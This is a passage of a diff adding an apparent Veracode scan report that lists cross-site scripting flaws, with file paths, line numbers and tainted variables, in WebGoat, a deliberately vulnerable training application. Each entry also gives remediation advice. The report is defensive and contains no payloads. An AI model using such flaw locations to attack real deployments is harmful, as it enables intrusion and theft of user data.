+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
